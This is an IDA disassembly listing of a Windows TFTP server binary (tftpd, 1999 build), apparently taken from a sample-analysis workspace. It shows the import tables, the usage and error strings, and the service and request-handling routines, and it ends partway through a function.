;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : ADB850B4FF993C5431B94C3F1F4580C8
; File Name : u:\work\adb850b4ff993c5431b94c3f1f4580c8_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 1000000
; Section 1. (virtual address 00001000)
; Virtual size : 00003400 ( 13312.)
; Section size in file : 00003400 ( 13312.)
; Offset to raw data for section: 00001000
; Flags F0000060: Text Data Shareable Executable Readable Writable
; Alignment : default
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 1001000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_1001000 dd 77DB82ACh dword_1001004 dd 77DB2985h dword_1001008 dd 77DB858Eh dword_100100C dd 77DB7D4Dh dword_1001010 dd 77DB2C54h dword_1001014 dd 77DC9694h ; sub_1001DEB+6Br ...
dd 0
dword_100101C dd 77E9B0BBh, 77E94CA6h ; sub_1003910+34r
dword_1001024 dd 77E9C37Ah dword_1001028 dd 77F877E0h dword_100102C dd 77E9C4E4h ; sub_1002F31+1C3r ...
dword_1001030 dd 77E8670Dh dword_1001034 dd 77E86F37h dword_1001038 dd 77E8668Ch ; sub_1001665:loc_1001762r ...
dword_100103C dd 77E88778h ; sub_1001A91+1ABr
dword_1001040 dd 77E8B217h ; sub_10018DB+B4r ...
dword_1001044 dd 77E88D0Fh ; sub_10019F0+14r ...
dword_1001048 dd 77E85304h dword_100104C dd 77F8AA7Dh ; sub_1001A91+B5r ...
dword_1001050 dd 77FC9C41h dword_1001054 dd 77E8A6C8h ; sub_1001E73+9Er ...
dword_1001058 dd 77F8AA4Ch ; sub_1001A91+4Er ...
dword_100105C dd 77E94A02h, 77E9E673h, 77FC976Bh, 77E9310Fh ; sub_1001A91+2C1r ...
dword_100106C dd 77E84B74h ; sub_100205A+4Er
dword_1001070 dd 77F89789h dword_1001074 dd 77E9CFC6h dd 0
dword_100107C dd 78001DEAh, 78003E70h, 7800B426h ; .text:01003B18r
dword_1001088 dd 78014EE9h dword_100108C dd 78014DABh dword_1001090 dd 7801D884h dword_1001094 dd 78001000h ; sub_100205A+93r ...
dword_1001098 dd 78001EC9h dword_100109C dd 78012188h dword_10010A0 dd 780010EDh ; sub_1001F54+47r ...
dword_10010A4 dd 7802A875h ; sub_1001DEB+8r
dword_10010A8 dd 78017A09h dword_10010AC dd 7800C9ACh ; sub_10027E1+77r ...
dword_10010B0 dd 78017E4Bh, 78022AA9h ; sub_1001665+1DBr
dword_10010B8 dd 7802A38Bh ; sub_1001DEB+19r
dword_10010BC dd 78003C1Eh, 7800F56Ah, 78003E5Ah, 78003E64h, 78003E6Ah
; DATA XREF: sub_1003BF6r
; .text:01003BF0r
dd 7803BB70h, 78025147h, 7800BB9Eh, 7800F7DCh, 7800B908h
dword_10010E4 dd 7801D1CFh ; sub_100333A+1B9r
dword_10010E8 dd 78014B25h dword_10010EC dd 7800269Eh, 0 ; sub_1001665+C0r ...
dword_10010F4 dd 75031311h ; sub_1003A62+4Fr
dword_10010F8 dd 75032B3Ch ; sub_1001A91+12Br ...
dword_10010FC dd 75034A6Ah dword_1001100 dd 75035502h dword_1001104 dd 75032B57h ; sub_100230A+Fr ...
dword_1001108 dd 7503D027h dword_100110C dd 75032B57h ; sub_1002A3D+40r ...
dword_1001110 dd 7503ACCBh ; sub_1003A62+27r
dword_1001114 dd 7503125Ah dword_1001118 dd 7503894Bh dword_100111C dd 75033284h ; sub_100205A+E7r ...
dword_1001120 dd 75035413h ; sub_1002F31+64r ...
dword_1001124 dd 75033A14h ; sub_1002F31+256r ...
dword_1001128 dd 750390C0h dword_100112C dd 75033832h ; sub_100333A+1EBr
dword_1001130 dd 7503306Fh ; sub_1002A3D+65r ...
align 8
dword_1001138 dd 77347866h dword_100113C dd 773425A3h dd 0
dword_1001144 dd 77F82A70h dword_1001148 dd 77F8A557h dword_100114C dd 77FB6307h dword_1001150 dd 77F92A89h ; sub_100333A+95r
dword_1001154 dd 77F97C81h ; sub_1002B5E+114r ...
dword_1001158 dd 77F816E4h ; sub_1002A3D+FDr ...
dword_100115C dd 77F8F1D6h dword_1001160 dd 77F9431Dh ; sub_10023D8+F2r
dword_1001164 dd 77F936B1h dword_1001168 dd 77F912B1h ; sub_1002901+35r
dword_100116C dd 77F8F73Ch dword_1001170 dd 77F979C8h dword_1001174 dd 77F8D7C7h ; sub_10018DB+D6r
dword_1001178 dd 77F975A5h ; sub_1002F31+34Dr ...
dd 2 dup(0)
dd 37ECADD7h, 0
dd 4, 110h, 0
dd 4C00h, 0
dd 37ECADD7h, 0
dd 3, 310h, 0
dd 4D10h, 0
dd 37ECADD7h, 0
dd 6, 2 dup(0)
dd 5020h, 0
dd 37ECADD7h, 0
dd 2, 1Ah, 0
db 90h
db 0FEh, 0A7h, 0FFh
aDNtPrivateNetS db 'D:\nt\private\net\sockets\tcpsvcs\tftpd\tftpd.c built Sep 24 1999'
db ' 22:17:18',0Ah,0
aOWritableFiles db ' o writable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+C4o
aWritable db 'writable',0 ; DATA XREF: sub_1001570+BFo
; sub_10037BF+121o
align 4
aOReadableFiles db ' o Readable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+B6o
aReadable db 'readable',0 ; DATA XREF: sub_1001570+B1o
; sub_10037BF+F1o
align 4
aOValidmastersK db ' o ValidMasters keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+A8o
aMasters db 'masters',0 ; DATA XREF: sub_1001570+A3o
; sub_10037BF+C1o
aOValidclientsK db ' o ValidClients keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+9Ao
aClients db 'clients',0 ; DATA XREF: sub_1001570+95o
; sub_10037BF+8Eo
aTheseKeysAreSh db 'These keys are shell patterns with * and ? (see examples above):',0Ah
; DATA XREF: sub_1001570+8Do
db 0
align 4
aOStartdirector db ' o StartDirectory keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+84o
aDirectory db 'directory',0 ; DATA XREF: sub_1001570+7Fo
; sub_10037BF+5Co
align 4
aRegistryKeyNam db 'Registry key names, all strings: HKEY_LOCAL_MACHINE %s',0Ah,0
; DATA XREF: sub_1001570+76o
aSystemCurrentc db 'System\CurrentControlSet\Services\tftpd\parameters',0
; DATA XREF: sub_1001570+71o
; sub_10037BF+13o
align 10h
aTftpd_logfileI db ' TFTPD_LOGFILE is %s',0Ah ; DATA XREF: sub_1001570+68o
db 0Ah,0
align 4
aTftpd_log db 'tftpd.log',0 ; DATA XREF: sub_1001570+63o
; sub_1001665+1D6o
align 4
aTftpd_default_ db ' TFTPD_DEFAULT_DIR is %s',0Ah,0 ; DATA XREF: sub_1001570+5Ao
align 4
aTftpdroot db '\tftpdroot\',0 ; DATA XREF: sub_1001570+55o
; sub_1003910+1Eo
a? db '-?',0 ; DATA XREF: sub_1001570+10o
align 4
aA db 'a+',0 ; DATA XREF: sub_1001665+1D1o
align 4
aTftp db 'tftp',0 ; DATA XREF: sub_100205A+31o
align 10h
aUdp db 'udp',0 ; DATA XREF: sub_100205A+2Co
aOptionNegotiat db 'Option negotiation failure',0 ; DATA XREF: .data:01005CE0o
align 10h
aNoSuchUser db 'No such user',0 ; DATA XREF: .data:01005CDCo
align 10h
aFileAlreadyExi db 'File already exists',0 ; DATA XREF: .data:01005CD8o
aUnknownTransfe db 'Unknown transfer ID',0 ; DATA XREF: .data:01005CD4o
aIllegalTftpOpe db 'Illegal TFTP operation',0 ; DATA XREF: .data:01005CD0o
align 10h
aDiskFullOrAllo db 'Disk full or allocation exceeded',0 ; DATA XREF: .data:01005CCCo
align 4
aAccessViolatio db 'Access violation',0 ; DATA XREF: .data:01005CC8o
align 4
aFileNotFound db 'File not found',0 ; DATA XREF: .data:01005CC4o
align 4
aErrorUndefined db 'Error undefined',0 ; DATA XREF: .data:off_1005CC0o
aTsize db 'tsize',0 ; DATA XREF: sub_10023D8:loc_100251Ao
align 10h
aTimeout_0 db 'timeout',0 ; DATA XREF: sub_10023D8:loc_1002498o
aBlksize db 'blksize',0 ; DATA XREF: sub_10023D8+4Eo
aTimeout db 'Timeout',0 ; DATA XREF: sub_1002A3D+D2o
aInsufficientRe db 'Insufficient resources',0 ; DATA XREF: sub_1002F31:loc_1003197o
; sub_100333A+201o ...
align 10h
aFileNameTooLon db 'File name too long',0 ; DATA XREF: sub_1002F31+195o
; sub_100333A+1A0o
align 4
aMalformedFileN db 'Malformed file name',0 ; DATA XREF: sub_1002F31+139o
; sub_100333A+159o
aOctet db 'octet',0 ; DATA XREF: sub_1002F31+D2o
; sub_100333A:loc_100341Fo
align 10h
aNetascii db 'netascii',0 ; DATA XREF: sub_1002F31+9Fo
; sub_100333A:loc_10033E1o
align 4
asc_100155C: ; DATA XREF: sub_1003910+7Fo
unicode 0, <\>,0
dd 0FFFFFFFFh, 1003B5Eh, 1003B73h, 0
; =============== S U B R O U T I N E =======================================
sub_1001570 proc near ; CODE XREF: .text:01003B4Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 1
push esi
jle loc_1001646
mov eax, [esp+4+arg_4]
mov esi, offset a? ; "-?"
mov eax, [eax+4]
loc_1001588: ; CODE XREF: sub_1001570+34j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_10015AA
test cl, cl
jz short loc_10015A6
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_10015AA
inc eax
inc eax
inc esi
inc esi
test cl, cl
jnz short loc_1001588
loc_10015A6: ; CODE XREF: sub_1001570+22j
xor eax, eax
jmp short loc_10015AF
; ---------------------------------------------------------------------------
loc_10015AA: ; CODE XREF: sub_1001570+1Ej
; sub_1001570+2Cj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_10015AF: ; CODE XREF: sub_1001570+38j
test eax, eax
jnz loc_1001646
mov esi, ds:dword_10010BC+18h
push offset asc_1005010 ; " ======================================"...
call esi
pop ecx
push offset aTftpdroot ; "\\tftpdroot\\"
push offset aTftpd_default_ ; " TFTPD_DEFAULT_DIR is %s\n"
call esi
pop ecx
pop ecx
push offset aTftpd_log ; "tftpd.log"
push offset aTftpd_logfileI ; " TFTPD_LOGFILE is %s\n\n"
call esi
pop ecx
pop ecx
push offset aSystemCurrentc ; "System\\CurrentControlSet\\Services\\tftpd"...
push offset aRegistryKeyNam ; "Registry key names, all strings: HKEY_L"...
call esi
pop ecx
pop ecx
push offset aDirectory ; "directory"
push offset aOStartdirector ; " o StartDirectory keyname \"%s\"\n"
call esi
pop ecx
pop ecx
push offset aTheseKeysAreSh ; "These keys are shell patterns with * an"...
call esi
pop ecx
push offset aClients ; "clients"
push offset aOValidclientsK ; " o ValidClients keyname \"%s\"\n"
call esi
pop ecx
pop ecx
push offset aMasters ; "masters"
push offset aOValidmastersK ; " o ValidMasters keyname \"%s\"\n"
call esi
pop ecx
pop ecx
push offset aReadable ; "readable"
push offset aOReadableFiles ; " o Readable files keyname \"%s\"\n"
call esi
pop ecx
pop ecx
push offset aWritable ; "writable"
push offset aOWritableFiles ; " o writable files keyname \"%s\"\n"
call esi
pop ecx
pop ecx
push 0FFFFFFFFh
call ds:dword_10010EC
pop ecx
loc_1001646: ; CODE XREF: sub_1001570+6j
; sub_1001570+41j
push offset off_1005CB0
call ds:dword_1001004
test eax, eax
jnz short loc_100165B
call ds:dword_1001038
loc_100165B: ; CODE XREF: sub_1001570+E3j
push 0
call ds:dword_100101C
pop esi
retn
sub_1001570 endp
; =============== S U B R O U T I N E =======================================
sub_1001665 proc near ; DATA XREF: .data:01005CB4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push offset sub_1001DEB
push offset aTftpd ; "Tftpd"
mov dword_1006120, 30h
mov dword_1006124, 2
mov dword_1006128, ebp
mov dword_1006134, 1
mov dword_1006138, 4E20h
mov dword_100612C, ebp
mov dword_1006130, ebp
call ds:dword_1001010
cmp eax, ebp
mov dword_1006044, eax
jz loc_1001762
mov esi, ds:dword_1001014
mov edi, offset dword_1006120
push edi
push eax
call esi ; dword_1001014
cmp eax, ebp
jz loc_1001762
mov ebx, ds:dword_1001040
push ebp
push ebp
push ebp
push ebp
call ebx ; dword_1001040
push ebp
push ebp
push ebp
push ebp
mov dword_1005DDC, eax
call ebx ; dword_1001040
cmp dword_1005DDC, ebp
mov dword_1005DE0, eax
jz short loc_100171C
cmp eax, ebp
jz short loc_100171C
push offset dword_1006140
push 101h
call ds:dword_10010FC
cmp eax, 0FFFFFFFFh
jnz short loc_1001735
call ds:dword_10010F8
loc_100171C: ; CODE XREF: sub_1001665+96j
; sub_1001665+9Aj ...
push 1Fh
call sub_1001E73
push 1
call ds:dword_10010EC
pop ecx
loc_100172C: ; CODE XREF: sub_1001665+218j
; sub_1001665+224j
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_1001735: ; CODE XREF: sub_1001665+AFj
push edi
mov dword_1006124, 4
push dword_1006044
mov dword_1006128, 7
mov dword_1006134, ebp
mov dword_1006138, ebp
call esi ; dword_1001014
cmp eax, ebp
jnz short loc_100176A
loc_1001762: ; CODE XREF: sub_1001665+57j
; sub_1001665+6Ej
call ds:dword_1001038
jmp short loc_100171C
; ---------------------------------------------------------------------------
loc_100176A: ; CODE XREF: sub_1001665+FBj
push 9
pop ecx
xor eax, eax
mov edx, offset dword_10060C0
mov edi, edx
rep stosd
push edx
call ds:dword_10010A4
pop ecx
mov edx, [esp+10h+arg_0]
dec edx
mov ebx, (offset dword_1005E07+1)
jz short loc_10017F3
mov eax, [esp+10h+arg_4]
lea eax, [eax+edx*4]
mov [esp+10h+arg_0], eax
loc_1001797: ; CODE XREF: sub_1001665+18Cj
mov eax, [esp+10h+arg_0]
mov eax, [eax]
cmp byte ptr [eax], 2Dh
jnz short loc_10017F3
movsx ecx, byte ptr [eax+1]
sub ecx, 64h
jz short loc_10017C9
dec ecx
jz short loc_10017BD
dec ecx
jnz short loc_10017E9
mov dword_1005DD8, 1
jmp short loc_10017E9
; ---------------------------------------------------------------------------
loc_10017BD: ; CODE XREF: sub_1001665+147j
mov dword_1005DD4, 1
jmp short loc_10017E9
; ---------------------------------------------------------------------------
loc_10017C9: ; CODE XREF: sub_1001665+144j
lea edi, [eax+2]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_10017E9: ; CODE XREF: sub_1001665+14Aj
; sub_1001665+156j ...
sub [esp+10h+arg_0], 4
dec edx
cmp edx, ebp
ja short loc_1001797
loc_10017F3: ; CODE XREF: sub_1001665+125j
; sub_1001665+13Bj
call sub_10037BF
call sub_1003910
mov esi, ds:dword_10010A8
push ebx
call esi ; dword_10010A8
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_100182E
call ds:dword_10010AC
push ebx
call ds:dword_10010B0
cmp eax, ebp
pop ecx
jnz loc_100171C
push ebx
call esi ; dword_10010A8
cmp eax, ebp
pop ecx
jnz loc_100171C
loc_100182E: ; CODE XREF: sub_1001665+1A5j
cmp dword_1005DD8, ebp
jz short loc_1001857
push offset aA ; "a+"
push offset aTftpd_log ; "tftpd.log"
call ds:dword_10010B0+4
pop ecx
cmp eax, ebp
pop ecx
mov dword_1005DD0, eax
jnz short loc_1001857
mov dword_1005DD8, ebp
loc_1001857: ; CODE XREF: sub_1001665+1CFj
; sub_1001665+1EAj
push offset dword_10060C0
call ds:dword_10010B8
pop ecx
call sub_10018DB
call sub_10019F0
push 0FFFFFFFFh
push dword_1005DDC
call ds:dword_100103C
cmp eax, ebp
jz loc_100172C
call ds:dword_1001038
jmp loc_100172C
sub_1001665 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100188E proc near ; CODE XREF: sub_100205A+D5p
; sub_1002F31+2A8p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
push 3
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_1001100
test eax, eax
jz short loc_10018AE
call ds:dword_1001038
xor eax, eax
jmp short locret_10018D7
; ---------------------------------------------------------------------------
loc_10018AE: ; CODE XREF: sub_100188E+14j
test [ebp+arg_8], 1
push 0
push 0FFFFFFFFh
push [ebp+arg_0]
jz short loc_10018C2
push offset loc_1001D74
jmp short loc_10018C7
; ---------------------------------------------------------------------------
loc_10018C2: ; CODE XREF: sub_100188E+2Bj
push offset loc_1001DDB
loc_10018C7: ; CODE XREF: sub_100188E+32j
push [ebp+arg_4]
lea eax, [ebp+var_4]
push eax
call ds:dword_1001174
mov eax, [ebp+var_4]
locret_10018D7: ; CODE XREF: sub_100188E+1Ej
leave
retn 0Ch
sub_100188E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10018DB proc near ; CODE XREF: sub_1001665+1FEp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ds:dword_1001044
push edi
push offset dword_1006080
call esi ; dword_1001044
push offset dword_1006020
call esi ; dword_1001044
mov eax, offset dword_1006098
mov dword_100609C, eax
mov dword_1006098, eax
mov eax, offset dword_1006038
mov dword_100603C, eax
mov dword_1006038, eax
lea eax, [ebp+var_4]
push eax
call sub_1001FA6
xor esi, esi
test eax, eax
jnz short loc_1001957
mov eax, [ebp+var_4]
xor ebx, ebx
cmp [eax], esi
jbe short loc_100194F
xor edi, edi
loc_100192E: ; CODE XREF: sub_10018DB+72j
mov ecx, [eax+edi+4]
cmp ecx, esi
jz short loc_1001947
cmp ecx, 100007Fh
jz short loc_1001947
push ecx
call sub_100205A
mov eax, [ebp+var_4]
loc_1001947: ; CODE XREF: sub_10018DB+59j
; sub_10018DB+61j
inc ebx
add edi, 18h
cmp ebx, [eax]
jb short loc_100192E
loc_100194F: ; CODE XREF: sub_10018DB+4Fj
push eax
call ds:dword_10010A0
pop ecx
loc_1001957: ; CODE XREF: sub_10018DB+46j
push offset dword_10060A0
call ds:dword_1001170
cmp eax, esi
jnz loc_10019EB
mov eax, 0EA60h
push esi
push eax
push eax
push esi
push offset sub_10029BA
push offset dword_1006048
push dword_10060A0
call ds:dword_1001178
push esi
push esi
push esi
push esi
mov edi, eax
call ds:dword_1001040
cmp eax, esi
mov dword_1005DF8, eax
jnz short loc_10019A2
mov eax, edi
jmp short loc_10019EB
; ---------------------------------------------------------------------------
loc_10019A2: ; CODE XREF: sub_10018DB+C1j
push esi
push 0FFFFFFFFh
push esi
push offset sub_1002219
push eax
push offset dword_1005DFC
call ds:dword_1001174
cmp eax, esi
jnz short loc_10019EB
mov ecx, offset dword_1006100
xor eax, eax
mov edi, ecx
push ecx
stosd
stosd
stosd
stosd
stosd
mov eax, dword_1005DF8
push offset dword_1005E00
mov dword_1006110, eax
call sub_1003A44
cmp eax, esi
jz short loc_10019E9
cmp eax, 3E5h
jnz short loc_10019EB
loc_10019E9: ; CODE XREF: sub_10018DB+105j
xor eax, eax
loc_10019EB: ; CODE XREF: sub_10018DB+89j
; sub_10018DB+C5j ...
pop edi
pop esi
pop ebx
leave
retn
sub_10018DB endp
; =============== S U B R O U T I N E =======================================
sub_10019F0 proc near ; CODE XREF: sub_1001665+203p
mov eax, offset dword_1006078
push offset dword_1006060
mov dword_100607C, eax
mov dword_1006078, eax
call ds:dword_1001044
push 0
push 0EFD1Ch
push 0
call ds:dword_1001048
mov dword_1005DEC, eax
retn
sub_10019F0 endp
; =============== S U B R O U T I N E =======================================
sub_1001A1F proc near ; CODE XREF: sub_10029BA+79p
push ebx
push esi
mov ebx, offset dword_1006060
push edi
push ebx
xor esi, esi
call ds:dword_1001058
mov eax, dword_1005DF0
sub eax, dword_1005DF4
cmp eax, 0Ah
jbe short loc_1001A46
shr eax, 1
mov esi, eax
jmp short loc_1001A4E
; ---------------------------------------------------------------------------
loc_1001A46: ; CODE XREF: sub_1001A1F+1Fj
cmp eax, 3
jbe short loc_1001A4E
push 2
pop esi
loc_1001A4E: ; CODE XREF: sub_1001A1F+25j
; sub_1001A1F+2Aj
test esi, esi
jbe short loc_1001A86
mov edi, esi
loc_1001A54: ; CODE XREF: sub_1001A1F+65j
mov eax, dword_1006078
mov esi, eax
mov ecx, [eax]
mov eax, [eax+4]
mov [eax], ecx
mov [ecx+4], eax
push dword ptr [esi+30h]
call ds:dword_1001054
push esi
push 0
push dword_1005DEC
call ds:dword_1001050
dec dword_1005DF0
dec edi
jnz short loc_1001A54
loc_1001A86: ; CODE XREF: sub_1001A1F+31j
push ebx
call ds:dword_100104C
pop edi
pop esi
pop ebx
retn
sub_1001A1F endp
; =============== S U B R O U T I N E =======================================
sub_1001A91 proc near ; CODE XREF: .text:01001DCCp
; .text:01001DE1p
var_68 = byte ptr -68h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = byte ptr -30h
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = byte ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_10 = byte ptr 14h
arg_FF9C = dword ptr 0FFA0h
arg_FFA0 = dword ptr 0FFA4h
arg_FFA4 = dword ptr 0FFA8h
arg_FFA8 = dword ptr 0FFACh
arg_FFD4 = dword ptr 0FFD8h
arg_FFD8 = dword ptr 0FFDCh
arg_10004 = dword ptr 10008h
mov eax, 10004h
call sub_1003A3E
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov [esp+10h], ebp
mov ebx, offset dword_1006060
loc_1001AAA: ; CODE XREF: sub_1001A91+291j
lea eax, [esp+10h+arg_0]
push eax
push 4004667Fh
push [esp+18h+arg_10004]
call ds:dword_1001114
cmp eax, ebp
jnz loc_1001D27
cmp [esp+1Ch+var_8], ebp
jz loc_1001D65
xor eax, eax
lea edi, [esp+1Ch+arg_10]
stosd
stosd
stosd
stosd
push ebx
stosd
call ds:dword_1001058
mov eax, dword_1006078
inc dword_1005DF4
cmp eax, offset dword_1006078
jz short loc_1001B11
mov ecx, [eax]
mov esi, eax
mov eax, [eax+4]
mov [eax], ecx
mov [ecx+4], eax
push dword ptr [esi+30h]
call ds:dword_100105C+0Ch
mov eax, [esi+30h]
jmp short loc_1001B41
; ---------------------------------------------------------------------------
loc_1001B11: ; CODE XREF: sub_1001A91+64j
inc dword_1005DF0
push 2FF6Ch
push 8
push dword_1005DEC
call ds:dword_100105C+8
mov esi, eax
cmp esi, ebp
jz loc_1001D5E
push ebp
push ebp
push ebp
push ebp
call ds:dword_1001040
mov [esi+30h], eax
loc_1001B41: ; CODE XREF: sub_1001A91+7Ej
push ebx
mov [esp+40h+arg_0], eax
call ds:dword_100104C
lea ebp, [esi+34h]
mov ecx, 3FEFh
xor eax, eax
mov edi, ebp
rep stosd
stosb
mov eax, [esp+40h+arg_FFD8]
mov [esp+40h+var_1C], ebp
mov [esp+40h+var_20], 0FFBDh
mov [esp+40h+var_28], 10h
mov [esi+1Ch], eax
lea eax, [esp+40h+var_10]
push 0
push eax
lea eax, [esp+48h+var_28]
lea edi, [esi+2Ch]
push eax
lea eax, [esi+0Ch]
push eax
lea eax, [esp+50h+var_30]
push eax
push edi
lea eax, [esp+58h+var_20]
push 1
push eax
push [esp+60h+arg_FFD4]
call ds:dword_1001110
mov [esp+64h+var_48], eax
mov ax, [esi+0Eh]
push eax
call ds:dword_100110C
cmp [esp+68h+var_4C], 0
jz short loc_1001C34
call ds:dword_10010F8
cmp eax, 3E5h
jnz loc_1001D2F
mov eax, dword_1005DDC
push 0FFFFFFFFh
mov [esp+6Ch+var_40], eax
mov eax, [esp+6Ch+var_28]
mov [esp+6Ch+var_3C], eax
lea eax, [esp+6Ch+var_40]
push 0
push eax
push 2
call ds:dword_100105C+4
cmp eax, 0FFFFFFFFh
jz loc_1001D2F
cmp eax, 102h
jz loc_1001D2F
test eax, eax
jz loc_1001D2F
lea eax, [esp+78h+var_68]
push eax
push 0
lea eax, [esp+80h+var_48]
push edi
push eax
push [esp+88h+arg_FF9C]
call ds:dword_1001108
test eax, eax
jnz short loc_1001C34
call ds:dword_10010F8
jmp loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001C34: ; CODE XREF: sub_1001A91+129j
; sub_1001A91+196j
push 0
push dword_1005DDC
call ds:dword_100103C
test eax, eax
jz loc_1001D2F
cmp dword ptr [edi], 2
jl loc_1001CEA
xor edi, edi
cmp [esp+70h+arg_FFA8], edi
jz short loc_1001CDA
mov ax, [ebp+0]
push eax
call ds:dword_1001104
movzx ecx, ax
test ecx, ecx
jle short loc_1001CB8
cmp ecx, 2
jle short loc_1001C81
cmp ecx, 4
jz short loc_1001CB8
cmp ecx, 5
jnz short loc_1001CB8
jmp short loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001C81: ; CODE XREF: sub_1001A91+1E2j
cmp ax, 1
jnz short loc_1001C94
inc dword_10060C4
mov edi, offset sub_1002F31
jmp short loc_1001CA5
; ---------------------------------------------------------------------------
loc_1001C94: ; CODE XREF: sub_1001A91+1F4j
cmp ax, 2
jnz short loc_1001CA5
inc dword_10060C8
mov edi, offset sub_100333A
loc_1001CA5: ; CODE XREF: sub_1001A91+201j
; sub_1001A91+207j
mov eax, [esp+74h+arg_FFA0]
test edi, edi
mov [esi+8], eax
jz short loc_1001CEA
push esi
call edi ; sub_1002F31
jmp short loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001CB8: ; CODE XREF: sub_1001A91+1DDj
; sub_1001A91+1E7j ...
push 0
push 4
push [esp+7Ch+arg_FFA0]
inc dword_10060CC
lea eax, [esp+80h+var_20]
push eax
lea eax, [esp+84h+var_30]
push eax
call sub_100230A
jmp short loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001CDA: ; CODE XREF: sub_1001A91+1CBj
mov eax, [esp+70h+arg_FFA4]
push esi
mov [esi+8], eax
call sub_1002EC8
loc_1001CEA: ; CODE XREF: sub_1001A91+19Ej
; sub_1001A91+1BCj ...
push ebx
call ds:dword_1001058
mov eax, dword_1006078
mov dword ptr [esi+4], offset dword_1006078
mov [esi], eax
push offset dword_1005DE8
mov [eax+4], esi
mov dword_1006078, esi
call ds:dword_100105C
dec dword_1005DF4
push ebx
call ds:dword_100104C
xor ebp, ebp
jmp loc_1001AAA
; ---------------------------------------------------------------------------
loc_1001D27: ; CODE XREF: sub_1001A91+32j
call ds:dword_10010F8
jmp short loc_1001D65
; ---------------------------------------------------------------------------
loc_1001D2F: ; CODE XREF: sub_1001A91+136j
; sub_1001A91+161j ...
push ebx
call ds:dword_1001058
mov eax, dword_1006078
mov dword ptr [esi+4], offset dword_1006078
mov [esi], eax
push offset dword_1005DE8
mov [eax+4], esi
mov dword_1006078, esi
call ds:dword_100105C
dec dword_1005DF4
loc_1001D5E: ; CODE XREF: sub_1001A91+9Dj
push ebx
call ds:dword_100104C
loc_1001D65: ; CODE XREF: sub_1001A91+3Cj
; sub_1001A91+29Cj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10004h
retn 8
sub_1001A91 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_1001D74: ; DATA XREF: sub_100188E+2Do
push ecx
push ebx
push ebp
push esi
mov esi, offset dword_1006020
push edi
mov edi, ds:dword_1001070
push esi
xor ebp, ebp
xor ebx, ebx
call edi ; dword_1001070
loc_1001D8B: ; CODE XREF: .text:01001DA1j
test eax, eax
jnz short loc_1001DA7
push 0C8h
call ds:dword_100106C
push esi
call edi ; dword_1001070
inc ebx
cmp ebx, 7Dh
jb short loc_1001D8B
test eax, eax
jz short loc_1001DD1
loc_1001DA7: ; CODE XREF: .text:01001D8Dj
lea eax, [esp+10h]
push eax
push dword ptr [esp+1Ch]
call sub_10021E5
test eax, eax
jnz short loc_1001DC0
mov eax, [esp+10h]
mov ebp, [eax+0Ch]
loc_1001DC0: ; CODE XREF: .text:01001DB7j
push esi
call ds:dword_100104C
push ebp
push dword ptr [esp+1Ch]
call sub_1001A91
loc_1001DD1: ; CODE XREF: .text:01001DA5j
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_1001DDB: ; DATA XREF: sub_100188E:loc_10018C2o
push 0
push dword ptr [esp+8]
call sub_1001A91
xor eax, eax
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1001DEB proc near ; DATA XREF: sub_1001665+6o
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+var_4]
push eax
call ds:dword_10010A4
inc dword_1006134
pop ecx
lea eax, [ebp+var_4]
push eax
call ds:dword_10010B8
mov eax, [ebp+arg_0]
pop ecx
dec eax
jz short loc_1001E68
dec eax
jz short loc_1001E35
dec eax
jz short loc_1001E1D
dec eax
dec eax
jz short loc_1001E68
jmp short loc_1001E4B
